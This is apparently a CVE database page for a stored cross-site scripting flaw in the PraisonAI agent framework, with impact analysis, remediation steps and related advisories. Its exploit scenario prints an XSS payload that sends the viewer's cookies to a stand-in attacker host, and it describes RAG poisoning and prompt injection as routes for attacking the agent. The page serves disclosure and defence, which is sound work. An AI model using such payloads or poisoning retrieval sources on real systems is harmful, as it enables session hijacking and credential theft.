Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 score of 5.4 (Medium) reflects the vulnerability's moderate severity: it requires user interaction (UI:R) to trigger JavaScript execution and is unauthenticated (PR:N) over the network (AV:N). However, the real-world risk is elevated by multiple factors. First, the attack vector is high-probability in production: data poisoning of RAG knowledge bases and web scraping results are difficult to detect and easy to automate. Second, the dependency misconfiguration means affected installations are likely widespread-any PraisonAI deployment without explicit nh3 installation is vulnerable by default. Third, the impact (information disclosure, session hijacking, credential theft) can be severe in enterprise settings where API output is viewed by multiple authorized users. The absence of public exploit code and KEV status indicates this is not yet actively exploited at scale, but the simplicity of the attack (inject JavaScript into any agent input source) and the widespread default-vulnerable configuration suggest rapid exploitation post-disclosure is probable. This should be treated as a priority patch for organizations running PraisonAI in user-facing or sensitive environments. |
| Exploit ScenarioDerived | An attacker compromises or poisons a knowledge base document indexed by PraisonAI's RAG pipeline, embedding malicious JavaScript such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> into the text. When an agent processes a query and retrieves this poisoned document, the malicious script is included in the agent output. A legitimate user viewing the API response in a web browser (or a frontend application rendering the API response as HTML) has the JavaScript executed in their browser context, allowing the attacker to steal session cookies, exfiltrate sensitive information, or perform actions on behalf of the user. No public proof-of-concept code is currently available, but the attack requires only basic knowledge of HTML injection and XSS payloads. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 09, 2026
Stored cross-site scripting (XSS) in PraisonAI versions prior to 4.5.128 allows remote attackers to inject arbitrary JavaScript into agent output rendered by the Flask API endpoint. The vulnerability exists because the _sanitize_html function depends on the nh3 library, which is not declared as a required dependency in pyproject.toml; when nh3 is absent (default installation), HTML sanitization becomes a no-op. Attackers can exploit this via RAG data poisoning, malicious web scraping results, or prompt injection to execute malicious scripts in the browsers of users viewing API output. No public exploit code or active exploitation has been confirmed.
RemediationAI
Upgrade PraisonAI to version 4.5.128 or later, which fixes the sanitization bypass. As an immediate workaround prior to patching, ensure the nh3 library is explicitly installed as a dependency (pip install nh3) to restore the HTML sanitizer functionality; however, this is a partial mitigation and does not address the root cause of missing dependency declaration. Additionally, implement Content Security Policy (CSP) headers on API endpoints to restrict script execution, sanitize RAG data sources and web scraping results at ingestion time, and apply strict input validation to agent prompts. Refer to the GitHub Security Advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfg2-mxfj-j6pw for comprehensive remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI is a Python-based multi-agent orchestration framework that uses Flask to expose API endpoints for agent interaction and output display. The vulnerability resides in src/praisonai/api.py, where agent-generated responses are rendered as HTML content without proper input validation. The code attempts to sanitize HTML using the nh3 library (a Rust-backed HTML sanitizer), but because nh3 is an optional or missing dependency rather than a required one in the project's pyproject.toml configuration, the sanitization function degrades to a pass-through that does not remove or escape potentially malicious JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability where untrusted data from multiple sources (RAG retrieval, web scraping, user prompts) flows directly into HTML rendering without safe encoding or validation.
Know when Praisonai gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the Flask API endpoint in src/praisonai/api.py renders agent output as HTML without effective sanitization. The _sanitize_html function relies on the nh3 library, which is not listed as a required or optional dependency in pyproject.toml. When nh3 is absent (the default installation), the sanitizer is a no-op that returns HTML unchanged. An attacker who can influence agent input (via RAG data poisoning, web scraping results, or prompt injection) can inject arbitrary JavaScript that executes in the browser of anyone viewing the API output. This vulnerability is fixed in 4.5.128.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th
PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans
Unauthenticated authentication bypass in praisonai-platform prior to 0.1.6 (and PraisonAI before 4.6.51) allows a remote
WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att
Unauthenticated agent access in PraisonAI before 1.7.3 lets remote attackers read agent instructions and system prompts
PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne
System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection
Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller
SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou
Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv
Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec
Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u
EUVD-2026-21154
GHSA-cfg2-mxfj-j6pw
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB